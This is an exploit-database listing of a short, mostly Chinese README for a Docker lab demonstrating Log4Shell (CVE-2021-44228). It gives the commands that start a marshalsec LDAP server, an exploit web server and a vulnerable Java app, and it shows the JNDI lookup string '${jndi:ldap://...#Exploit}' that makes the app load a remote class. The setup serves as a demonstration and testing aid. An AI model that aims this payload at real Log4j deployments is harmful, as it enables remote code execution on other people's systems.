Sploitus

Exploit for CVE-2021-44228_Example

kitploit · 2026-09-02

Exploit Code

MARKDOWN42 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CHILLIWEBS-CVE-2021-44228_EXAMPLE
# CVE-2021-44228_示例

## 在单独的标签页/控制台中运行每个部分

### marshalsec LDAP 服务器 https://github.com/chilliwebs/marshalsec (派生自 https://github.com/mbechler/marshalsec)

root@kitploit:~
    
    
    docker build -t marshalsec marshalsec/.
    docker run -it --rm -p 1389:1389 --add-host=host.docker.internal:172.17.0.1 --name marshalsec marshalsec
    

### 漏洞利用 Web 服务器

root@kitploit:~
    
    
    docker build -t exploit ./exploit
    docker run -it --rm -p 8888:8888 --add-host=host.docker.internal:172.17.0.1 --name exploit exploit
    

### 实验品 Java 应用程序(运行存在漏洞版本的 Java 和 Log4J)

root@kitploit:~
    
    
    docker build -t guinea_pig guinea_pig/.
    docker run -it --rm --add-host=host.docker.internal:172.17.0.1 --name guinea_pig guinea_pig
    

### 运行 guinea_pig 时,应看到以下日志:

root@kitploit:~
    
    
    PWND!
    [main] ERROR gp.GuineaPig - ${jndi:ldap://host.docker.internal:1389/#Exploit}
    

### "PWND!" 是从外部注入的类(Exploit)中记录的